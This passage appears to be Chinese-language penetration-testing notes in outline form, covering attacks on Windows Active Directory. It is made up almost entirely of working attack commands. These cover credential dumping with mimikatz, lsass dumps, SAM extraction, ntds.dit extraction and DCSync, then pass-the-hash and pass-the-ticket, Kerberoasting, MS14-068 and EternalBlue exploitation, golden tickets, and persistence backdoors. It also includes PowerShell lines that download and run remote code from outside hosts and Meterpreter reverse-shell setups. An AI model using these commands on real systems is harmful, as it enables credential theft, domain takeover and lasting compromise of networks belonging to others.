    - 清除at记录：at \\192.168.1.1 7 /delete [7为上一步创建任务时的ID]
  - schtasks命令
    - schtasks /create /s 192.168.1.1 /tn test /sc onstart /tr c:\test.exe /ru system /f[创建名为test的计划任务，开机时自动启动，程序为c:\test.exe，启动权限为system]
    - schtasks /run /s 192.168.1.1 /i /tn "test" 执行上一步创建的任务
- Windows系统Hash获取
  - LM Hash和NTLM Hash
    - 在windows系统中，hash的结构通常为：username:RID:LM-HASH:NT-HASH
  - 单机密码抓取
    - GetPass 获取明文密码
    - PwDump7 获取NTLM Hash,通过彩虹表破解，也可以通过pth登陆
    - QuarksPwDump
      - QuarksPwDump --dump-hash-local
    - 通过SAM和System文件抓取密码
      - 导出SAM和System文件
        - reg save hklm\sam sam.hive
        - reg save hklm\system system.hive
      - 读取文件
        - mimikatz读取SAM和SYSTEM文件[将导入的hive文件放到本地]
          - lsadump::sam /sam:sam.hive /system:system.hive
        - 使用Cain
          - 进入Cracker模块，选中LM&NTLM选项，import Hashes From a SAM database选项
        - mimikatz直接读取本地SAM文件
          - privilege::debug
          - token::elevate
          - lsadump::sam
        -
    - mimikatz读取在线SAM文件

        - mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
    - mimikatz离线读取lsass.dmp文件
        - 导出lsass.dmp文件
            - Windows NT 6中，任务管理器中找到lsass.exe进程，右键选择“Create Dump File”
            - Procdump.exe -accepteula -ma lsass.exe lsass.dmp
        - mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    - Powershell 获取Hash
        - powershell进行nishang目录，Import-Module .\Get-PassHashes.ps1 再执行Get-PassHashes
    - PowerShell远程加载mimikatz抓取Hash
        - powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFul'); Invoke-Mimikatz -DumpCreds"
- 使用hashcat破解密码
- 哈希传递
    - NTLM Hash哈希传递
        - mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /ntlm:htlm_hash" 会弹出新的cmd
    - AES-256 密钥哈希传递
        - 抓取密钥哈希：mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
        - 传递：mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.com /aes256:AES-256_HASH"
- 票据传递攻击
    - 使用mimikatz进行票据传递
        - 导出票据：mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"，执行之后 当前目录会生成多个服务的票据文件，如krbtgt\cifs\ldap等
        - 清除内存中的票据：kerberos::purge
        - 将票据注入到内存：mimikatz "kerberos::ptt" "c:\ticket\xxxxxxxxxxx-administrator@krbtgt-pentest.com.kirbi"\
        - 将高权限 票据注入内存后，可以列出远程计算机的文件目录，如：dir \\dc\c$
    - 使用kekeo进行票据传递[下载链接：https://github.com/gentilkiwi/kekeo]
        - 生成票据文件：kekeo "tgt::ask /user:administrator /domain:pentest.com /ntlm:NTLM_HASH"
        - 清除内存中的票据：kerberos::purge[在kekeo的shell中]\klist purge[在cmd shell中]
        - 导入内存：[kekeo shell] kerberos::ptt TGT_administrator@pentest.com_krbtgt~pentest.com@pentest.com.kirbi[该文件为第一步中生成的文件名]
        - 输入exit命令退出，再dir \\dc\c$列出远程计算机的文件目录
- PsExec的使用
    - PsTools中的PsExec
        - 有建立 ipc$连接的情况下，执行psexec.exe -accepteula \\192.168.1.1 -s cmd.exe 可获取 system权限shell
            - -accepteula 第一次运行psexec会弹出确认框，加上该参数不弹
            - -s 以system权限运行远程进程
        - 没有建立 ipc$连接
            - psexec \\192.168.1.1 -u administrator -p password cmd.exe
                - -u 域名\用户名
                - -p 密码
    - metasploit中的psexec模块
        - exploit/windows/smb/psexec
        - exploit/windows/smb/psexec_psh(psexec的powershell版本)
- WMI的使用
    - 基本命令[wmic命令没有回显，开启防火墙时无法连接]
        - wmic /node:192.168.1.1 /user:administrator /password:admin123 process call create "cmd.exe /c ipconfig > c:\ip.txt"
        - 建立IPC$后：type \\192.168.1.1\c$\ip.txt
    - impacket工具包中的wmiexec
        - wmiexec.py administrator:admin123@@192.168.1.1 主要用于linux向windows横向渗透
    - wmiexec.vbs
        - cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 administrator admin123
    - Invoke-WmiCommand[PowerSploit工具包中]
        - 将Invoke-WmiCommand.ps1导入系统后，在powershell中执行下列命令

- $User="pentest.com\administrator"
- $Password=ConvertTo-SeureString -String "admin123" -AsPlainText -Force
- $Cred=New-Object -TypeName System.Management.AutoMation.PSCreDential -ArgumentList $User,$Password
- $Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.1
- $Remote.PayloadOutput

- Invoke-WMIMethod[Powershell自带]
  - $User="pentest.com\administrator"
  - $Password=ConvertTo-SeureString -String "admin123" -AsPlainText -Force
  - $Cred=New-Object -TypeName System.Management.AutoMation.PSCreDential -ArgumentList $User,$Password
  - Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.1.1" -Credential $Cred

- 永恒之蓝
  - metasploit
    - use auxiliary/scanner/smb/smb_ms17_010 检测
    - use exploit/windows/smb/ms17_010_eternalblue 利用
- smbexec的使用
  - C++版本smbexec[下载地址：https://github.com/sunorr/smbexec]
    - 将execserver.exe上传到目标系统c:\windows目录下，解除UAC对命令执行的限制，执行以下命令
      - net user \\192.168.1.1 "admin123" /user:pentest.com\administrator
      - copy execserver.exe \\192.168.1.1\c$\windows\
    - 在客户端执行命令
      - test.exe 192.168.1.1 administrator admin123 whoami c$
  - impacket工具包中的smbexec.py
    - smbexec.py pentest.com/administrator:admin123\@192.168.1.1
  - Linux跨Windows远程命令执行[下载地址：https://github.com/brav0hax/smbexec]
- DCOM在远程系统中的使用
  - 通过本地DCOM执行命令
    - 获取DCOM程序列表
      - Get-CimInstance Win32_DCOMApplication[powershell 3.0+]
      - Get-WMIObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
    - 使用DCOM执行任意命令
      - $com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
      - $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c calc.exe',"Minimzed")
  - 使用DCOM在远程机器上执行命令
    - 建立IPC$连接：net user \\192.168.1.1 "admin123" /user:pentest.com\administrator
    - 执行命令
      - 调用MMC20.Application远程执行命令
        - $com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.1"))
        - $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c calc.exe',"Minimzed")
      - 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39远程执行命令
        - $com=[activator]::CreateInstance([type]::GetTypeFromProgID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.1.1"))
        - $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c calc.exe',"Minimzed")
- SPN在域环境中的应用
  - SPN扫描
    - PowerShell-AD-Recon工具包[下载地址：https://github.com/PyroTek3/PowerShell-AD-Recon]
      - 在域中任一机器 上，以域用户身份运行一个powershell，导入脚本文件并执行
        - 扫描所有MSSQL服务
          - Import-Module .\Discover-PSMSSQLServers.ps1
          - Discover-PSMSSQLServers
        - 扫描所用SPN信息
          - Import-Module .\Discover-PSInterestingServices.ps1
          - Discover-PSInterestingServices
    - Windows自带命令

- setspn -T domain -q "*/*"
- Kerberoast攻击
  - 请求SPN票据，打开powershell
    - Add-Type -AssemblyName System.IdentityModel Net-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/computer1.pentest.com"
  - 导出票据，mimikatz
    - kerberos::list /export
  - 使用Kerberoast脚本离线 破解票据[下载地址：https://github.com/nidem/kerberoast]
    - python tgsrepcrack.py wordlist.txt mssql.kirbi
- Exchange邮件服务器安全
  - 远程访问接口
    - owa web邮箱
    - eac exchange管理中心即WEB的控制台
  - Exchange服务发现
    - 基于端口扫描
    - SPN查询
      - exchangeRFR\exchangeAB\exchangeMDB\SMTP\sMTPsVC等都是exchange注册的服务
  - 基本操作
    - 查看邮件数据库
      - Getmailboxdatabase -server "Exchange1"
        - powershell环境中默认没有这条命令，需要执行add-pssnapin microsoft.exchange*添加命令
        - 指定数据库，查询详细信息
          - Getmailboxdatabase -Identity 'Mailbox Database xxxxx'|Format-List Name,EdbFilePath,LogFolderPath [其中Mailbox Database xxxxx为获取到的数据库名]
    - 获取现有用户的邮件地址
      - Get-Mailbox | format-Table Name,WindowsEmailAddress
    - 查看指定用户的邮箱 使用信息
      - Get-mailboxstatistics -Identity administrator | select DisplayName,itemcount,TotalItemSize,lastlogonTime
    - 获取用户邮箱 中的邮件数量
      - Get-mailbox -ResultSize unlimited|get-mailboxStatistics|sort-object totalitemsize -descend
  - 导出邮件[不搞APT，这一节没啥用]
- 六、域控制器安全
  - 使用卷影拷贝提取ntds.dit
    - 通过ntdsutil.exe提取ntds.dit
      - 创建快照：ntdsutil snapshot "activate instance ntds" create quit quit
      - 加载快照：ntdsutil snapshot "mount {GUID}" quit quit //GUID为上一步生成
      - 复制ntds.dit：copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit //C:\$SNAP_201802270645_VOLUMEC$为上一步的挂载路径
      - 卸载快照：ntdsutil snapshot "unmount {GUID}" quit quit
      - 查询快照：ntdsutil snapshot "List All" quit quit //卸载快照后，此时应为空
    - 利用vssadmin提取ntds.dit
      - 创建C盘的卷影拷贝：vssadmin create shadow /for=c:
      - 复制ntds.dit：copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit //其中\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12为上一步生成
      - 删除快照：vssadmin delete shadows /for=c: /quiet
    - 利用vssown.vbs脚本提取ntds.dit
      - 启动卷影拷贝服务：cscript vssown.vbs /start
      - 创建C盘的卷影拷贝：cscript vssown.vbs /create C
      - 列出当前的卷影拷由：cscript vssown.vbs /list
      - 复制ntds.dit：copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit //其中\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12为上一步中的Device Object项内容
      - 删除卷影拷贝：cscript vssown.vbs /delete {GUID} //其中的GUID为第三步中的ID项内容
    - 使用ntdsutil的IFM创建卷影拷贝

        - 在域控服务器上以管理员权限运行以下命令，即会自动复制ntds.dit到c:\test\active directory\文件夹下
            - ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
        - 将ntds.dit文件拷走后删除test文件夹：rmdir /s /q test
        - Nishang中的Copy-VSS.ps1脚本，可以将SAM\SYSTEM\ntds.dit复制到当前目录
            - Import-Modult .\Copy-VSS.ps1
            - Copy-VSS
    - 使用diskshadow导出ntds.dit
        - 执行命令
            - 将exec c:\windows\system32\calc.exe写入test.txt中，执行diskshadow.exe /s test.txt即会执行文本中的命令
        - 导出ntds.dit
            - 将以下命令写入文本文件c:\command.txt
                - set context persistent nowriters
                - add volume c: alias someAlias
                - create
                - expose %someAlias% k:
                - exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
                - delete shadows all
                - listshadows all
                - reset
                - exit
            - 执行命令diskshadow.exe /s c:\command.txt时必须将shell路径切换至c:\windows\system32目录下
        - 导出ntds.dit文件后需要将system转储 [system.hive中存放着ntds.dit的密钥]
            - reg save hklm\system c:\windows\temp\system.hive
- 导出ntds.dit中的hash
    - 使用esedbexport恢复hash[下载地址：https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz]
        - 提取表：esedbexport -m tables ntds.dit [两个重要的表为：datatable以及link_table，他们都会被存放在./ntds.dit.export/文件夹中]
        - ntdsxtract提取域中信息：dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive systemhive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt [下载地址：https://github.com/csababarta/ntdsxtract]
        - 提取计算机信息及其它信息：dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
    - 使用impacket工具包导出hash
        - impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
        - impacket还可以通过帐户、哈希进行身份验证从远程域控中读取ntds.dit并转储
            - impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc$@10.0.0.1
    - 在Windows下解析ntds.dit并导出hash
        - ntdsdumpex.exe -d ntds.dit -s system
- 利用dcsync获取域hash
    - 使用mimikatz转储域hash
        - lsadump::dcsync /domain:pentest.com /all /csv [需先执行privilege::debug命令，并加上log]
    - 使用Invoke-DCSync.ps1获取域hash
        - powershell.exe -exec bypass -command "& {Import-Module .\invoke-dcsync.ps1;invoke-dcsync -PWDumpFormat}"
- 使用Metasploit获取域hash
    - 使用psexec_ntdsgrab 模块
        - use auxiliary/admin/smb/psexec_ntdsgrab 配置rhost\smbdomain\smbuser\smbpass
    - 基于meterpreter会话
        - use windows/gather/credentials/domain_hashdump 配置meterpreter会话ID
- 使用vshadow.exe和quarkspwdump.exe导出域hash
    - 将三个工具传到目标服务器同一目录下：vshadow.exe + ShadowCopy.bat + QuarksPwDump.exe
    - 以管理员权限运行ShadowCopy.bat脚本,之后提取的ntds.dit会被复制到当前目录,利用esentutl工具修复ntds.dit文件
        - esentutl /p /o ntds.dit
    - 利用QuarksPwDump 读取修复后的ntds.dit文件,导出域内所有账户hash

        - reg save hklm\system system.hive
        - QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hive -o c:\res.txt
    - Kerberos域用户提权[MS14-068]
        - pyKEK工具包[下载地址：https://technet.microsoft.com/library/security/ms14-068]
            - 查看当前域用户的SID：whoami /all
            - 生成高权限票据：python ms14-068.py -u 用户名@域名 -s 域用户SID -d 域控IP -p 域用户密码【python ms-14-068.py -u user1@pentest.com -s S-1-5-21-31112629480-1751665795-4063538595-1104 -d 172.16.86.130 -p Aa123456】
            - 清除内存中的所有票据：打开mimikatz，kerberos::purge 当看到Ticket purge for current session is OK时表示清除成功
            - 将高权限票据注入内存：打开mimikatz,输入kerberos::ptc "TGT_user1@pentest.com.cache" 看到Injecting ticket : OK表示 注入成功
            - 验证权限：dir \\dc\c$ [net user \\dc\ipc$][使用IP连接可能会失败，故使用计算机名]
        - goldenPac.py
            - python goldenPac.py 域名/域用户名:域用户密码@域控服务器
            - kali中需要安装依赖：apt-get install -y krb5-user
        - Metasploit
            - use auxiliary/admin/kerberos/ms14_068_kerberos_checksum 配置域名、域用户/密码/SID 执行exploit后，会生成bin文件
            - mimikatz导出kirbi格式文件：kerberos::clist "20141223201326_default_172.16.158.135_windows.kerberos_194320.bin" /export
            - msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.86.135 LPORT=4444 -f exe > shell.exe 执行后，获取meterpreter权限
            - 执行命令getuid应该是user1/pentest.com权限，执行命令load kiwi 然后再输入kerberos_ticket_use /tmp/0-00000000-user1@krbtgt-pentest.com.kirbi导入票据
            - 再输入background切换到meterpreter后台，获取后台session会话id
            - use exploit/windows/local/current_user_psexec [set TECHNIQUE PSH][set RHOSTS WIN-F46QAN3U3UH.pentest.com][set payload windows/meterpreter/reverse_tcp][set lhost 172.16.86.135][set SESSION 1][exploit]
- 七、跨域攻击[看这篇吧：https://www.cnblogs.com/micr067/p/12984136.html]
    - 利用域信任关系的跨域攻击
        - 域信息关系
            - 单向信任：在两个域之间创建单向的信任路径，即在一个方向上是信任流，在另一个方向上是访问流。在受信任域和信任域之间的单向信任中，受信任域内的用户可以访问信任域内的资源。
            - 双向信任：指两个单向信任的组合，信任域和受信任域彼此信任，在两个方向上都有信任流和访问流，活动目录中的所有域信任关系都是双向可传递的。
            - 默认情况下，使用活动目录安装向导将新域添加到域权或林根域中，会自动创建双向可传递信任
            - 外部信任：是指两个不同林中的域的信任关系，外部信任是不可传递的。
        - 获取 域信息[lg.exe]
            - 枚举lab域中的用户组：lg.exe lab\.
            - 枚举远程机器 的本地组用户：lg.exe \\dc -lu
            - 枚举所有用户的SID： lg.exe \\dc -lu -sidsout
        - 利用域信任密钥获取 目标域的权限
            - 场景描述
                - 父域域控：dc.test.com
                - 子域域控：sub.test.com
                - 子域计算机：pc.sub.test.com
                - 子域用户：sub\test
            - 在子域域控上执行mimikatz.exe privilege::debug "lsadump::lsa /patch /user:tset$" "lsadump::trust /patch" exit
            - 创建信任票据:mimikatz "kerberos::golden /domain:sub.test.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /rc4:f430c584462c52bc2291fea8705031c5 /user:DarthVader /service:krbtgt /target:test.com /ticket:payload.kiribi" exit
            - 利用刚刚创建的payload.kiribi的信任票据获取目标域中目标服务的TGS并保存到文件中:Asktgs payload.kiribi CIFS/dc.test.com
            - 将获取的TGS票据注入内存：kiribikator lsa CIFS.dc.test.com.kiribi
            - 访问目标服务:dir \\dc.test.com\c$
        - 利用krbtgt hash获取目标域权限
            - 在域控上获取krbtgt hash
                - mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
            - 在子域内的计算机上（pc.sub.test.com）上使用普通用户权限（sub\test）构造并注入黄金票据，获取目标域的权限

- mimikatz "kerberos::golden /user:administrator /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /krbtgt:ffc79c6f14bb2c39e6ceab183cefc9c5 /ptt" exit
- 访问目标服务:dir \\dc.test.com\c$
- 外部信任和林信任
  - 利用信任关系获取信任域的信息
    - adfind -h payload.com -sc u:administrator
  - 使用powerview定位敏感用户
    - .\powerview.ps1
    - Get-DomainForeignGroupMember -Domain payload.com
- 利用无约束委派和MS-RPRN获取信任林权限
  - 使用rubeus工具，监控身份认证请求
    - rubeus.exe monitor /interval:5 /filteruser:BDC$
  - 开启监听后，在命令行环境下执行如下命令，使用SpoolSample工具让目标域控制器bcd.b.com向dc.a.com发送身份认证请求
    - SpoolSample.exe bdc.b.com dc.a.com
  - rubeus会捕获来自bdc.b.com的认证请求，保存其中的TGT数据。清除TGT数据文件中多余的换行符，然后使用rubeus工具将票据注入内存
    - Rubeus.exe ptt /ticket:<TGT 数据>
  - 使用mimikatz获取目标域的krbtgt散列值。使用mimikatz的dcsync功能，模拟域控制器向目标域控制器发送请求（获取账户密码）
    - mimikatz "lsadump::dcsync /domain:b.com /user:b\krbtgt" exit
  - 构造黄金票据并将其注入内存，获取目标域控制器的权限
    - mimikatz "kerberos::golden /user:administrator /domain:b.com /sid: /rc4: /ptt" exit
  - 最后访问目标服务
    - dir \\bdc.com\c$
- 八、权限维持
  - 操作系统后门
    - 粘滞键后门
      - 命令行
        - cd c:\windows\system32
        - move sethc.exe sethc.exe.bak
        - copy cmd.exe sethc.exe
      - Empire
        - usemodule lateral_movement/invoke_wmi_debuggerinfo
        - set Listener shuteer
        - set ComputerName WIN7-64.shuteer.testlab
        - set TargetBinary sethc.exe
        - execute
    - 注册表后门
      - Empire
        - usemodule persistence/userland/registry
        - set Listener shuteer
        - set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
        - execute
    - 计划任务后门
      - 基本命令：schtasks /create /tn updater /tr notepad.exe /sc hourly /mo 1 [每小时执行一次notepad]
      - Empire
        - usemodule persistence/elevated/schtasks
        - Set DailyTime 16:17
        - Set Listener test
        - execute
      - Metasploit
        - 托管和生成各种格式
          - use exploit/multi/script/web_delivery

- set payload windows/x64/meterpreter/reverse_tcp
- set LHOST 10.0.2.21
- set target 5
- exploit

- 系统启动时
  - 【x64】schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
  - 【x86】schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
- 用户登陆时
  - schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System

- PowerSploit
  - $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -Hourly
  - $UserOptions = New-UserPersistenceOption -ScheduledTask -Hourly
  - Add-Persistence -FilePath C:\temp\empire.exe -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions
- meterpreter
- Cymothoa
- WMI
  - Empire Invoke-WMI

- Web后门
  - Nishang下的webshell
  - weevely
  - webacoo
  - meterpreter webshell
- 域控权限持久化
  - DSRM域后门
    - 使用mimikatz查看krbtgt的NTLM hash
      - privilege::debug
      - lsadump::lsa /patch /name:krbtgt
    - 使用mimikatz读取SAM中本地管理员的NTLM Hash
      - privilege::debug
      - token::elevate
      - lsadump::sam
    - 将DRSM帐号和krbtgt的NTLM Hash同步
      - ntdsutil
      - set dsrm password
      - sync from domain account krbtgt
      - q
      - q
    - 查看DSRM的NTLM Hash是否同步成功
      - lsadump::sam[NTLM Hash与第一步Hash值 相同]
    - 修改DSRM登陆方式
      - New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    - 使用本地administrator帐号PTH攻击域控
      - privilege::Debug
      - sekurlsa::pth /domain:WIN2008 /user:administrator /ntlm:51b7f7dca9302c839e48d039ee37f0d1
    - 使用mimikatz的dcysnc功能远程转储krbtgt
      - lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt